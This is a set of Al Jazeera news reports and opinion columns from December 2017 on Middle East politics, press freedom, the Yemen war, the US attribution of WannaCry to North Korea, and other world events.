President Trump has advanced a three-tier strategy to protect the homeland, promote American prosperity, and preserve peace through strength. But his logic is populist, his style antagonistic, and his policy is belligerent.

To protect the American people and the American way of life, Trump bases his strategy primarily on fear of the other  fear of immigrants and fear of Muslims. It is populist nationalism thats more interested in erecting walls than building bridges.

To promote American prosperity, Trump bases his strategy mainly on treating economic security as national security. This is no different than its the economy, stupid approach pursued by President Clinton in the early 1990s.

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But Trumps strategy of deregulation and tax cuts at home, and confronting competitors abroad, could mean a race to the bottom  potentially to new tariffs  and even trade war with the likes of China, leading to global recession.

Equally or perhaps more dangerous is Trumps peace through strength strategy. Again, no one expects the US to abandon its formidable military power to pursue pacifist foreign policy. But the presidents emphasis on military force to deal with threats  real or imagined  and his increase of the US military budget to some $700bn  is terribly dangerous.

His suggestion of taxing states for their protection is utterly preposterous and renders the US a mercenary power. Demanding of US allies in Europe, the Middle East and elsewhere to increase their military spending is utterly outrageous and could be dangerously destabilising. Whatever happened to arms non-proliferation treaties?!

A new era for a new strategy

A quarter of a century after the end of the Cold War, youd expect the US to enjoy the fruits of its achievements and build on the successes of the past. But, while Trump may speak of advancing American influence, in reality, hes undercutting the US leadership of a world order it created and championed for decades.

Trump portends to devise a new strategy to face new challenges in a new era. In reality, his strategy may be responsible for ushering in a new era of greater global instability, hostility and chaos.

And nowhere is this as clear as in the greater Middle East, where Trump rewards Israels aggression, inflames religious hatred, boasts of a war with no limits or deadlines in Afghanistan, escalates the US war on terror, floods the region with billions of dollars worth of arms, and makes Faustian deals with bullies and dictators.

In sum, Trump has embraced a hyperrealist foreign policy and sees no real value in universal values. Trumps America will make new partnerships with those who share Trumps goals, and transform common interests into a common cause.
At a first glance, Saudi Arabias brief detention of billionaire Jordanian businessman Sabih al-Masri last Tuesday appears to be one of the most bizarre recent developments in the Arab world relating to wealthy individuals. But if we analyse the recent behaviour of Saudi Arabias leadership, we can easily see that Masris detention was not a surprising or unusual action.

This episode was in line with the current Saudi pattern of harsh arm-twisting, war-mongering, and intimidation that aim to bludgeon smaller Arab states to pursue the policies it favours.

Unfortunately for Riyadh, most of its actions have failed to achieve their goals, and in almost all cases they have backfired. These include the Saudi Arabia and United Arab Emirates (UAE)-led calamitous war in Yemen, the failed siege of Qatar, the unravelling of Saudi-backed rebels in Syria, and the embarrassing forced detention and resignation of Lebanese Prime Minister Saad Hariri.

These actions instantly prompted smaller Arab states to defy the Saudis and their allies, and also created new openings for non-Arab powers to develop strategic links across the Arab region (especially Iran, Turkey, Russia, some European nations, and perhaps China, soon).

The Saudis have said nothing of substance about Masris case, as happened with the Hariri detention, so any analysis of the billionaire businessmans ordeal is limited to reasoned speculation. Within the kingdom, such speculation saw Masris detention within the context of continued anti-corruption initiatives by Crown Prince Mohammad bin Salman and the business links between Masri and detained Saudi billionaire Prince Al Waleed bin Talal.

Outside the kingdom, analysts mostly saw a heavy-handed power play to force Palestine and Jordan to follow Saudi orders.

A brutal message to Jordan and Palestine

The Saudi detention of Masri was a crude but brutal political message to Jordans King Abdullah and Palestines President Mahmoud Abbas on how to behave on the Jerusalem issue and regional alignments.

Riyadh wanted to signal to the Jordanian and Palestinian leaderships that it could swiftly cripple their economies and trigger existential crises in which banks would suffer terminal runs, the governments would fail to pay their employees, and the economies would sputter to a halt. The first signs of this appeared in recent days with the drop in the value of Arab Bank shares, which are an important savings and investment vehicle for middle-class Palestinians and Jordanians.

Masri was the perfect instrument to send this apocalyptic message. He is an important figure for both Jordans and Palestines economies as a leading investor, and as chairman of the Arab Bank that dominates both the Jordanian and Palestinian banking sectors. The bank has even bailed out these liquidity-stressed governments several times in the past.

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This is why the brief Saudi action against just one man sparked instant and widespread concerns about the economic wellbeing of both these economies. Citizens also feared that Riyadh might follow up by barring Jordanian and Palestinian expatriate workers and exports to Saudi Arabia, which would shatter both economies and plunge 15 million Jordanians and Palestinians into deep crisis.

The presumed tripartite Saudi message was this: Amman and Ramallah should lighten up their criticisms of Donald Trumps recognition of Jerusalem as Israels capital; not join the Organization of Islamic Cooperation emergency summit that convened in Turkey last week; and, support Saudi Arabias desire to promote an expected Israel-Palestine peace plan that is being developed by the White House.

Palestinians and Jordanians widely oppose the plan that they mostly see as reflecting Israeli priorities, rather than a balanced approach anchored in existing United Nations resolutions.

Defying Saudi threats and intimidation

Jordan and Palestine  like Qatar, Yemen, Syria, and Lebanon before them  instantly rejected Riyadhs wishes, defied its threats and intimidation, and pursued policies that more closely aligned with the sentiments and interests of their own people. King Abdullah and President Abbas attended the summit in Turkey, strongly denounced the US move on Jerusalem, and for good measure also placed themselves next to Turkeys President Recep Tayyip Erdogan in the ceremonial summit photo.

Jordan had defied bigger powers and survived several times before, when the late King Hussein stood his ground before Arab and foreign powers that ostracised him for his positions on the 1990-1991 war against Iraq, for example.

The continuing pattern of bold but unsuccessful Saudi policies, often with Emirati backing, suggests several lessons to keep in mind.

First, small Arab states can defy the threats and withstand the militancy of big regional powers by standing firm on the only genuine source of security and well-being they have  the solidarity, interests, and sentiments of their own citizens.

Second, a rapidly evolving regional and global strategic order allows threatened small states to momentarily weather short-term storms by quickly reconfiguring their trade, transport, and strategic relationships with states near and far (as Qatar has done).

Third, Arab foreign policies anchored in the interests of Israel and the United States  or any foreign power, for that matter  will always be rebuffed by Arab populations that increasingly reject the fickle nature of foreign support.

Editors note: A previous version of this article had an incorrect year for the war in Iraq.

The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial policy.
In early 2015, Uranija Pirovska, the then director of Macedonias Helsinki Committee, found out that her government had been spying on her since at least 2011.

Like many others in her position, Pirovska is adamant that plenty of red flags existed back then to indicate that the Macedonian government was an authoritarian one: the 2011 death of a young man at the hands of the Macedonian police and the alleged cover-up, being just one example. Pirovska was one of over 20,000 individuals who were illegally wiretapped by the Macedonian secret services, then run by Saso Mijalkov  the cousin of the countrys prime minister at the time, Nikola Gruevski.

The scandal exposing the government-sponsored surveillance opened a Pandoras box. As new information kept coming in, the extent of the spying venture started to become apparent. It was not only political opponents who were under surveillance, but also journalists, civil society leaders, politicians from opposition parties and from the ruling coalition itself. Anybody who played a role in the political life of the country (be it major or minor) was being tapped. The content of the conversations exposed an array of criminal offences. The government fell as a consequence.

But the Macedonian secret services could not have pulled this off without sophisticated surveillance tools, which they did not have available domestically. Among the countries that the secret services turned to in order to acquire surveillance technology was the UK.

After relevant documents were released by the UKs Foreign and Commonwealth Office following my Freedom of Information Act request, it became clear that British authorities granted an export licence in October 2012 to a British company, Gamma International (UK) Limited, for the sale of six International Mobile Subscriber Identity (IMSI) catchers to Macedonia.

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Although it is difficult to establish whether these six devices were used in the 2011-2015 surveillance spree, there are at least two reasons why the approval of this export licence was highly problematic. First, the recommendation for the licence approval failed to highlight the seriousness of the situation in Macedonia. It quoted positive remarks contained in the 2011 EU progress report on Macedonia, but did not mention that the same report raised concerns over the independence of the police from the government, as well as weak oversight of intelligence and counter-intelligence services.

Furthermore, it appears that no consideration was given to the track record of the company that applied for the licence. The Gamma Group, whose highly intrusive software FinFisher is used by undemocratic countries around the world, was already well-known for having marketed its products to Egypts notoriously repressive secret services. The Organisation for Economic Co-operation and Development (OECD) has recently issued an unprecedented condemnation of the company, accusing it of being in violation of human rights guidelines.

The UK has approved the export of IMSI catchers not only to Macedonia but also to a number of other repressive states. In recent years, it has granted export licences to countries that are well known for using surveillance technology to spy on their citizens.

British authorities, however, deny that the export licences they have issued are problematic. David Lidington, the current secretary of state for justice who was minister of state for Europe in 2012 and was personally informed of the licence given to Gamma, did not respond to requests for comment; neither did the Foreign Office. The Department for International Trade (DIT) offered this succinct statement:

The UK government takes its export control responsibilities very seriously and operates one of the most robust export control regimes in the world. We rigorously examine every application on a case-by-case basis against the Consolidated EU and National Arms Export Licensing Criteria, drawing on all available information at the time of application.

Only, in the Macedonian case, the UK government did not use all available information, deciding instead to carefully choose the statements from the documents they were quoting. It furthermore failed to consult civil society and human rights groups, who were very well aware in 2012 that they were living under a repressive regime.

By ignoring such warning signs, the British authorities have clearly failed to honour their own licensing process guidelines, which spell out that the government will not grant a licence if there is a clear risk that the items might be used for internal repression.

The irony is that, while the UK does not shy away from exporting IMSI catchers to countries with repressive regimes, the use of such technology is a highly controversial issue in the UK itself. The British police still refuse to acknowledge its use, in spite of a recent inquiry documenting the proliferation of mobile phone surveillance in the country.

There is a further paradox: the work of the British embassy in Macedonia has often been praised by the countrys civil society actors as an invaluable ally in the fight for human rights.

But effective democracy promotion is not a one-way street. Western countries give billions in foreign aid but, due to tax havens, the flow of money from rich countries to developing countries pales in comparison to the flow that runs in the other direction. They condemn wars, but sell weapons to make them happen.

The widespread sale of spyware to repressive regimes is part of this twisted narrative of rooting for democracy, while reaping the business benefits of authoritarianism. It has to stop.

The views expressed in this article are the authors own and do not necessarily reflect Al Jazeeras editorial policy.
With 20 journalists in jail and amid increasing reporting restrictions, rights groups raise alarm over media repression.

This has been described as the worst time to be a journalist in Egypts history.

As the year comes to an end, President Abdel Fattah el-Sisis government stands accused by rights groups of instilling fear through a series of draconian restrictions on the media.

The US-based Committee to Protect Journalists (CPJ) dubs the country one of the worlds biggest prisons for journalists. With at least 20 journalists behind bars in relation to their work, Egypt is among the worlds top three jailers of journalists.

Reporters Without Borders ranks Egypt 161st out of 180 countries in its press freedom index.

Egyptian journalists say operating amid a range of implicit and explicit restrictions has done irreparable damage to the profession, as well as curbed their ability to report on serious political and human rights issues across the country.

The government intent is to bring fear to the arena, said Amr Khalifa, an Egyptian opinion columnist and political analyst based in the US.

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The government intends to let you know that there are more red lines than not, and the entire dynamic is intentionally haphazard so as to keep particularly independent journalists guessing as to what may occur if they write about X, Y, or Z, Khalifa told Al Jazeera.

This is the worst time to be a journalist in Egypt in the last few decades. by Sherif Mansour, CPJ's Middle East and North Africa programme director

Of the journalists who are detained, more than half are in poor health, including photographer Mahmoud Abou Zeid.

Also known as Shawkan, Abou Zeid suffers from anemia and needs blood transfusions, but has been denied hospital care in the four years he has been held in pretrial detention, CPJ reported.

This is the worst time to be a journalist in Egypt in the last few decades, said Sherif Mansour, CPJs Middle East and North Africa programme director.

Since 2013, we still have journalists in jail, in pretrial detention, being punished for doing nothing other than journalism, Mansour told Al Jazeera. Thats an indication that the government has consistently kept the media as a hostage.

A history of restrictions

Mansour said the Egyptian government engages in direct censorship by shutting down media outlets and television stations, arresting journalists and raiding media offices.

But it also applies indirect pressure on reporters to tow the states official line on various issues, including, most notably, any topic considered to be a matter of national security.

Media has been the target of the government over the last four years. Many of the journalists have been systematically targeted with threats. Many of them fled outside of the country, Mansour said.

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But journalists and media outlets have not enjoyed complete freedom in Egypts modern history.

Columnist Khalifa, whose father was a journalist during the time of Egypts second president, Gamal Abdel Nasser, said reporters at that time operated under the assumption that the walls have ears, a reference to the prevalence of intelligence officers and other formal and informal surveillance networks.

Later, in 1980, under then-President Anwar Sadat, Egypt passed a Press Authority Law which acknowledged the press as a fourth estate, according to a research paper by Fatima el-Issawi at the London School of Economics.

But the law tightened the governments control over the press by limiting media ownership to legal persons and parties.

In 1995, President Hosni Mubarak, who ruled Egypt for several decades before being deposed after the 2011 revolution, passed Press Law No. 93, which limited press freedom and came to be popularly called the Press Assassination Law, el-Issawi wrote.

The bill labelled press freedom as a threat to democracy and it imposed lengthy prison terms together with hefty fines for journalists convicted of libel and other ill-defined publications crimes.

A 1996 law then allowed for journalists to be imprisoned for a slew of reasons, including intrusion into citizens private lives, attacking religious faith or government officials behaviour, or accepting donations from foreign bodies, el-Issawi explained.

According to Khalifa, while restrictions were put in place under Mubarak, the former president knew how to give journalists enough room to breathe. It wasnt a full-court press by any stretch of the imagination, he said.

There were still red lines  usually, national security  However, that list was far shorter than it is now.

Today, the Sisi government actively instructs mainstream media outlets in Egypt on what topics they should cover, and how, he said.

Khalifa pointed to Daily News Egypt, an independent English-language newspaper, which he said has been rendered defunct after a government-run media outlet took over earlier this year.

The newspapers former owner was removed after the government accused him of having ties to the outlawed Muslim Brotherhood.

Its a bifocal approach. On the one hand, the goal is to maximise coverage for their message, which quite often is nothing short of propaganda, in my humble view. Conversely, the goal is to eliminate as many independent voices as possible, Khalifa said.

False news

According to Radidja Nemar, a North Africa legal officer for human rights group Alkarama, the Egyptian government has targeted either news outlets or human rights organisations who would be covering human rights violations in the country.

But journalists, in particular, can be silenced under a 2016 law that makes it a crime to spread false news, Nemar told Al Jazeera. Often, this law is used against journalists covering what the government would consider [hurts] the image of the state.

Thats what Al Jazeera Arabic news producer Mahmoud Hussein was accused of last year, when he was detained on December 20 on accusations of incitement against state institutions and broadcasting false news with the aim of spreading chaos.

Al Jazeera has denied the charges against him and demanded Husseins immediate and unconditional release.

An Egyptian national based in Qatar, Hussein is in poor health. He was denied access to medicine and treatment for a broken arm.

Wednesday marks the one-year anniversary of Husseins arrest.

A 2015 law broadened the scope of what is considered a terrorist crime and criminalised reporting on terrorism and terrorist acts in Egypt that go against reports by the Egyptian Ministry of Defense, CPJ reported, citing various news sources.

The law defines terrorist crimes as any act aiming to harm public order, social peace, or national unity, the group said.

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In May, Egypt blocked access to nearly two dozen news websites, including Al Jazeera, the Huffington Posts Arabic version and independent news outlet Mada Masr.

Sources told Reuters news agency the websites were blocked because they had alleged ties to the Muslim Brotherhood or were funded by Qatar.

Such action is an act of censorship and infringement on the freedom of expression and information, a coalition of human rights groups said in a letter condemning the governments decision.

Independent media must not pay the price of current political disputes between countries in the region  such as that between Egypt and Qatar.

According to Nemar, while journalists covering state repression, politics or human rights abuses since the militarys takeover in 2013 have been prosecuted and imprisoned, there is no clear line that journalists cannot cross, which highlights the whole arbitrary [nature] of the process.

We dont know the rationale [behind] every arrest or every judicial decision or sentence, she said.

Sinai blackout

Additionally, Egypt has been accused of limiting journalists access to the northern Sinai province, where the government has launched a campaign of brute force to root out armed extremist groups.

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Egyptian and foreign journalists have been barred from accessing the area, limiting their ability to report on the governments campaign.

Human rights groups and local activists have accused the state of carrying out human rights violations in the area and cracking down on civilians.

Sinai is the most censored news story and geographic location in Egypt and maybe worldwide, said Mansour, explaining that journalists who have tried to report on the governments war or civilian casualties in the area have also been targeted.

On November 24, at least 305 people were killed in a deadly bombing at a mosque in the Sinai town of Bir al-Abed. The attack has been described as the deadliest in Egypts modern history.

But with the restrictions in place, reporting from the area remained difficult.

On Twitter, an Egyptian Ministry of Foreign Affairs spokesman criticised US news network CNN for its deplorable coverage of the mosque attack, saying its focus on reporters access to the area was disproportionate.

As usual, deplorable @CNN coverage of Sinai tragedy today. Anchor more interested in reporters access to Sinai than in those who lost their lives !!!  Egypt MFA Spokesperson (@MfaEgypt) November 26, 2017

Access restrictions and anti-terrorism laws that limit who can report on topics of national security, which is how the government designates what is happening in Sinai, have made it impossible for any independent or critical coverage of the governments behaviour in Sinai, Mansour said.

Right to be informed

According to Nemar, torture and other mistreatment of human rights workers, including journalists, have been reported for years, including under the Mubarak administration.

What has changed, however, is the extent to which it is used and the brutality of it, she said, adding that any criticism of the Sisi regime can make you a target. The fact that it targets people from all political backgrounds  makes it unprecedented.

She added that the rights of all Egyptians are at stake in the countrys fight for media freedom.

What is at stake here is not only the physical well-being and liberty of journalists  its also the right to be informed of what is happening in the country.
At least 136 civilians have been killed in Yemen over 11 days this month as a result of intensified air raids by the Saudi-led military coalition, the United Nations says.

Rupert Colville, a spokesman for the Office of the High Commissioner for Human Rights, expressed deep concern on Tuesday at a surge in civilian casualties in an air campaign launched by the Saudi Arabia-led coalition in response to the December 4 killing of Yemens former president, Ali Abdullah Saleh.

Saleh was killed in a grenade and gun attack by Houthi rebels days after he broke off their fragile alliance and expressed an openness to talks with the Saudi Arabia-led coalition, which intervened in Yemen in March 2015 to restore the government of President Abd-Rabbu Mansour Hadi.

The war in the Arab worlds poorest country has now lasted 1,000 days.

More than 10,000 civilians have been killed in the conflict and the UN has warned about 8.4 million people are a step away from famine.

The war-torn country is also battling the worlds worst cholera epidemic, which has killed thousands and infected about one million people.

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Speaking to reporters in Geneva on Tuesday, Colville said the UN human rights office has verified that 136 civilians and non-combatants were killed and some 87 injured in the attacks on the capital, Sanaa, and three other northern provinces.

The attacks took place between December 6-16, and hit a Houthi-run TV channel, a hospital, a prison, a wedding party and a farmhouse.

Victims included more than a dozen children.

At least 45 people were killed in the prison bombing on December 13.

All victims were detainees loyal to Hadi, Colville said.

Seven civilians were killed in the hospital bombing on December 10, while one woman and nine children who were returning home from a wedding party were killed when their vehicles were struck in the Harib al-Qaramish district of the Marib governorate on Saturday.

The farmhouse bombing on Friday killed 20 people, including 14 children, Colville said.

He urged all parties to the conflict to take all feasible precautions to avoid, and in any event, to minimise the impact of violence on civilians.

Brokers of peace

Meanwhile, more than 355 high-profile figures have urged the leaders of the US, UK and France to stop stoking the flames of a war that is strangling an entire population, and instead take on the role of brokers of peace.

The signatories to Tuesdays appeal included eight Nobel peace laureates, religious leaders, celebrities, and heads of aid agencies.

The US, UK and France  as permanent members of the UN Security Council and major weapons suppliers to Saudi Arabia and the UAE  bear a special responsibility to use the full extent of their leverage to press their partners in the region to end the crisis, the statement said.

If you dont want the burden of the lives of thousands more Yemeni children on your hands, then the time to act is now. Yemen cant wait any longer, it added.
Army colonel Ahmed Konsowa announced his intent to run in the 2018 presidential elections late last month.

A military court in Cairo has sentenced an Egyptian army colonel to six years in prison after he announced his plans to run for president next year, according to his lawyer and local media.

Ahmed Konsowa was given the jail term on Tuesday for stating political opinions contrary to the requirements of military order, his lawyer, Asad Haykal, was quoted as saying by AFP news agency.

The colonel was called in for interrogation and handed a 15-day detention order after announcing late last month in a 22-minute video his intention to run against President Abdel Fattah el-Sisi.

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Following his detention, Haykal told local media that the charges against Konsowa included violating military code and publishing a video in which he espoused political views.

In last months video, Konsowa, who was donning his military attire, said that he was proudly declaring his candidacy.

I have decided to unlock the current political deadlock, he said.

In his announcement, the colonel also said that he had been attempting to resign from his army position since March 2014, but that his resignation had not been accepted.

Its not a secret that Ive spent more than three years and a half in courts, suing the government in 11 lawsuits, struggling in a very disappointing legal battle, to get my political-participation constitutional right to run for various elections.

Konsowa also said the country was witnessing crucial circumstances with the threat of terrorism and criticised what he called inappropriate, counterproductive and outdated policies which fuel extremism and discontent in the most populous nation in the tumultuous Middle East.

Egypt is due to hold presidential elections in March or April next year.

Antithesis of Sisi

A former army chief, el-Sisi led a military coup in July 2013 to overthrow Mohamed Morsi, Egypts first democratically-elected president, following mass protests.

Two years earlier, during a wave of popular uprisings that swept across the Arab world, the Egyptian people had overthrown the 30-year dictatorship of President Hosni Mubarak, in what became known as the January 25 revolution.

In March 2014, el-Sisi resigned from the army as he declared his candidacy for a presidential election later in the year, which he won in a landslide.

The political and social upheaval of the past six years has plunged the country into an economic crisis and given rise to deep divisions.

Under el-Sisi, Egypt has imposed a wide crackdown on dissidents, including a law banning demonstrations without prior police approval. The government has also passed legislation criminalising the work of many non-governmental bodies, placing them under the direct surveillance of the countrys security apparatus.

A Cairo-based political commentator, who has asked to remain anonymous for fear of reprisals, said he believes Konsowa was sentenced because in Egypt there can be no real power-sharing or transfer of power.

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Egyptians love their military and so to have someone competing from within the military may divide it, he told Al Jazeera.

Ahmed Konsowa is the antithesis of Sisi  hes smart, well spoken, educated and supports the January 25 revolution. He presents Egypt with an alternative  and the idea that an alternative may exist is threatening to the Egyptian regime, he said.

Along with Konsowa, both Ahmed Shafik, the countrys former prime minister, and Khaled Ali, a prominent lawyer, have voiced their intent to challenge Sisi in the upcoming elections.

Hours after announcing his plans on November 29, Shafik said in an exclusive video message to Al Jazeera that he had been blocked from leaving the United Arab Emirates (UAE), where he had been residing since 2012, for reasons that he did not know or understand.

Earlier this month, Shafik was deported from the UAE, returned to Egypt and said he was still considering running for election.

Ali, who is seen as el-Sisis top competition, was also convicted in September on charges of public indecency  a move that rights groups condemned as politically motivated to eliminate the presidents rivals in the elections.

Ali has since appealed, but if the conviction is upheld, he could be disqualified from running in the elections.
The United States has for the first time publicly blamed North Korea for being directly responsible for the WannaCry cyberattack earlier this year.

The WannaCry virus infected about 200,000 computer systems in 150 countries in mid-May by exploiting vulnerabilities in Microsoft Windows, the most widely used operating system in the world.

The hack forced British hospitals to turn away patients, affected Spanish companies such as Telefonica, and threw other government agencies and businesses into chaos.

After careful investigation, the US today publicly attributes the massive WannaCry cyberattack to North Korea, White House Homeland Security Adviser Tom Bossert wrote in an opinion piece in the Wall Street Journal newspaper on Tuesday.

We do not make this allegation lightly. It is based on evidence. We are not alone with our findings, either. Other governments and private companies agree, Bossert added.

North Korea has acted especially badly, largely unchecked, for more than a decade, and its malicious behaviour is growing more egregious  WannaCry was indiscriminately reckless.

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Cybersecurity researchers from Symantec and Kaspersky Lab have said that some code in an earlier version of the WannaCry software had appeared in programmes used by the Lazarus Group, which researchers from many companies have identified as a North Korea-run hacking operation.

This is the best clue we have seen to date as to the origins of WannaCry, Kaspersky Lab researcher Kurt Baumgartner told Reuters news agency in May.

Malicious hackers belong in prison, and totalitarian governments should pay a price for their actions, Bossert asserted.

The rest of us must redouble our efforts to improve our collective defences, he wrote.

Bossert did not outline the US governments specific plans to deal with cyberattacks, but officials in Washington said he was expected to do so later on Tuesday.

Marcus Hutchins, a young British computer security researcher credited with derailing the WannaCry attack, was later arrested for allegedly creating and distributing malicious software designed to collect bank account passwords.

Hutchins was detained in Las Vegas on his way back to the UK from an annual gathering of hackers and information security gurus. A grand jury indictment charged Hutchins with creating and distributing malware known as the Kronos banking Trojan.

Such malware infects web browsers then captures usernames and passwords when an unsuspecting user visits a bank or other trusted location.
Police chief resigns in a statement just weeks after a damning report on security response to a deadly neo-Nazi rally.

The police chief of Charlottesville, Virginia, has resigned just weeks after being accused of mishandling the deadly white supremacist rally held in the city on August 12.

Police Chief Alfred Thomas retired on Monday, according to a statement released by the city.

The statement did not specify the reasons behind his resignation.

Nothing in my career has brought me more pride than serving as the police chief for the City of Charlottesville, Thomas said in the statement.

Earlier this month, an independent report published by former US Attorney Timothy Heaphy, accused Thomas of a slow-footed response to [the] violence, which put the safety of all at risk and created indelible images of this chaotic event.

That report said the authorities response to the violent rally led to disastrous results.

On August 12, hundreds of white supremacists, white nationalists and neo-Nazis descended on Charlottesville for a Unite the Right rally to protest the citys decision to remove a Confederate monument.

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On the night before and the day of the rally, far-rightists clashed with community members, anti-racist activists and anti-fascists throughout the city.

On Saturday afternoon, the day of the rally, James Alex Fields, a 20-year-old Ohio resident, allegedly ploughed his car into an anti-racist march and killed 32-year-old activist Heather Heyer, injuring dozens more.

The deadly incident was captured on video.

Fields had been photographed marching with Vanguard America, a neo-Nazi group, earlier in the day. Subsequent media reports examined Fields social media accounts, which were laden with sympathetic references to German Nazi leader Adolf Hitler and Syrian President Bashar al-Assad.

Last week, Fields was charged with first-degree murder. Authorities also charged the assailant with eight counts of aggravated malicious wounding.

The Unite the Right rally came after months of increased clashes between far-rightists and anti-fascists.

Following Heyers killing, the alt-right and other far-right groups were hit by a wave of cancellations across the country, with cities and universities nixing speaking events and protests.

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The alt-right is a loosely-knit coalition of white supremacists, white nationalists and neo-Nazis who advocate for a white ethnostate in North America.

After Unite the Right, US President Donald Trump was criticised for condemning both sides and drawing a moral equivalency between the far-rightists and anti-fascists.

Last week, Jason Kessler, a white supremacist who organised Unite the Right, sparked angry protests from demonstrators when he appeared at the preliminary court hearing for Fields.

Charlottesville City Manager Maurice Jones announced on Monday that the city would appoint an interim police chief in a weeks time.
Russia described US strategy as exhibiting imperialist character, while China denounced its Cold War mentality.

China and Russia have criticised the United States for its new national security strategy that labels both countries as competitors challenging American interests.

China said on Tuesday the new strategy outlined by US President Donald Trump demonstrated a Cold War mentality.

We urge the US side to stop deliberately distorting Chinas strategic intentions and abandon such outdated concepts as the Cold War mentality and the zero-sum game  otherwise it will only end up harming itself as well as others, said Hua Chunying, spokeswoman for Chinas foreign ministry.

We hope that the United States can correspond with the trend of the times and the will of the people, put the world and China-US relations in perspective, honour the relevant commitments, and join hands with China to uphold the sound and steady growth of China-US relations, she added.

This is the right choice that serves the interests of the two peoples  and people around the world.

Russia also was critical of Trumps new strategy.





A quick read of the parts of the strategy that mention our country  [shows] an imperialist character, Kremlin spokesman Dmitry Peskov told reporters.

On Monday, Trump unveiled his new national security plan that promised to prioritise US economic interests and pursue peace through strength.

The presidents strategy explicitly named China and Russia as rivals that seek to challenge American power, influence, and interests and attempt to erode American security and prosperity.

Cooperation the only right choice

In response, China disagreed with the notion it is a competitor of the US.

We always believe that as the largest developing country and developed country and the top two largest economies in the world, China and the United States shoulder important responsibilities and have extensive common interests in upholding world peace and stability and promoting global development and prosperity, Hua said.

Cooperation is the only right choice for China and the United States, and win-win cooperation can lead to a better future.

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Peskov said Russia also does not see itself as a threat to US interests.

The new US security strategy shows an unwillingness to give up the idea of a unipolar world  moreover, an insistent unwillingness, disregard for a multipolar world, he said.

We cannot agree with an attitude that sees our country as a threat to the United States, said Peskov.
Court orders Mesale Tolu, who is accused of terror charges, to stay in Turkey and register with police once a week.

An Istanbul court has released German journalist Mesale Tolu pending trial, after eight months in prison, but banned her from leaving Turkey.

She was released on Monday, along with five others who are also accused of charges relating to terror in the same case.

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The court took the length of her imprisonment, the evidence related to the case in consideration and decided that her staying jailed would be an unjust treatment, Ezgi Gungordu, one of Tolus lawyers, told Al Jazeera.

However, considering she is a German citizen, it was decided that she had high probability to escape the country after her release, she said.

The court ordered the six released defendants not to leave Turkey and to register once a week at the police station nearest to their residences.

A total of 18 suspects are involved in the case. Another 12 are being tried without arrest. Tolu was detained in late April in Istanbul while working for a left-leaning media organisation.

Accusations

Tolu is charged with being a member of a terrorist organisation and carrying out terrorist propaganda for joining funerals of members of the Marxist-Leninist Communist Party, an organisation outlawed in Turkey.

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She went to most of these funerals to write news stories as part of her work or in some cases because she personally knows these people. They are from the same political environment, lawyer Gungordu told Al Jazeera, adding that she hoped Tolu would be acquitted in the next two trials.

The next trial in the case is scheduled for April.

German Chancellor Angela Merkel, speaking to reporters in Berlin following the release of Tolu, called the ruling good news, but stressed that the trial was not over.

German Foreign Minister Sigmar Gabriel said on Twitter: We welcome the release of Mesale Tolu from prison. Although this is not the end of the trial it is an important step forward.

AM @SigmarGabriel: Wir freuen uns uber die Haftentlassung von #MesaleTolu. Noch ist das Verfahren nicht beendet, aber ein erster groer Schritt ist gemacht.  Auswartiges Amt (@AuswaertigesAmt) December 18, 2017

Relations between Ankara and Berlin have been tense since the last years failed coup, as a result of the imprisonment of German journalists and activists in Turkey on terror charges, among other reasons.

Germany and other European Union (EU) member states have condemned the Turkish governments detentions and purges of tens of thousands of people after the July 2016 incident.

Yucel remains jailed

Deniz Yucel, a prominent German journalist and critic of the Turkish government, is among the German citizens who remain imprisoned in Turkey on terror charges after the coup attempt.

Local and international rights groups accuse the government of using the coup attempt as a pretext to silence opposition in the country.

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The government says that the purges and detentions are aimed at removing supporters of Fethullah Gulen from state institutions and other parts of society.

Gulen is a US-based, self-exiled religious leader who Ankara blames for the attempted coup.

Ravza Kavakci Kan, the deputy chairperson of Turkeys ruling Justice and Development Party (AK Party) responsible for human rights, told Al Jazeera in a recent interview that the trials and investigations that followed Julys coup attempt fell within the bounds of the law.

Turkey is a country of rule of law. We, as politicians, follow the developments in this trial or other trials as other outsiders follow it. We have no jurisdiction over them, she said.

The EU recently shrunk so-called pre-accession funds for Turkey for the first time in the 2018 budget, due to what it called the countrys deteriorating situation in relation to democracy, rule of law and human rights.

Umut Uras is on Twitter, follow him on @Um_Uras
The talks hope to revive and revise peace deal signed in 2015, but South Sudan has been at war for much of its existence, with nearly a quarter of its population displaced.

South Sudans rival factions are meeting in Ethiopia for another round of talks to end the four-year civil war.

The Intergovernmental Authority on Development, or IGAD, is leading the process of bringing all the sides together.

But each side has different demand.

It comes a day after fighting broke out between government forces and fighters loyal to the opposition.

Al Jazeeras Hiba Morgan reports from Juba.
Two gunmen reportedly killed in a civilian home as hundreds of protesters rushed to protect them from Indian soldiers.

Srinagar, Indian-administered Kashmir  Two fighters and a 25-year-old woman were killed in a firefight with Indian soldiers in Indian-administered Kashmir, sparking protests and calls for a general strike.

Hundreds of residents marched towards the shoot-out that continued overnight on Tuesday in Batmuran village in southern Shopian district. Soldiers fired live ammunition and pellets at protesters to prevent them from reaching the scene, witnesses said.

Two militants were killed in the gunfight, one of them belonged to Hizbul Mujahideen, and another belonged to Jaish-e-Mohammad, police superintendent Shriram Ambarkar told Al Jazeera.

More than 20 people were wounded in clashes between stone-throwing youth and security forces, officials said.

Ambarkar said the woman, identified as Ruby Jan, was killed unintentionally. But residents said she was deliberately shot by soldiers.

She was critically injured in the crossfire. We are investigating the circumstances under which she died. The situation is under control, said Ambarkar.

A senior doctor at District Hospital Pulwama, where most of the wounded were treated, said 20 people suffered gunshot and pellet wounds.

Twelve people suffered pellet injuries in their eyes. Two people with bullet injuries have been referred to tertiary care hospitals, the doctor told Al Jazeera on condition of anonymity because he wasnt authorised to speak to the media.

The deceased woman was brought to the hospital after being shot in the stomach, he confirmed.

Police officials said two officers suffered bullet wounds and three others were hit by rocks thrown by demonstrators.

A local from Batmuran village told Al Jazeera that in trying to kill the gunmen, the army damaged seven residential homes.

The militants were in one house, and the army damaged seven houses, leaving the families helpless. This happens after every gunfight; people lose their house, their belongings. Where will these people go in winter? said the resident who asked to remain anonymous.

The villages of Pulwama and Shopian have emerged as the stronghold of separatist fighters following the killing of rebel leader Burhan Wani last year. His death triggered a civilian uprising in which more than 100 people were killed and thousands blinded by pellets fired into protesting crowds by security forces.

The womans death was the third civilian fatality this month. Last week, a woman died during a firefight in Handwara district, and on Sunday, soldiers killed a civilian cab driver outside his home in Kupwara district.

In response to Tuesdays killing, separatist leaders called for a general strike in the Kashmir valley on Wednesday. Authorities responded by ordering travel restrictions in volatile areas.

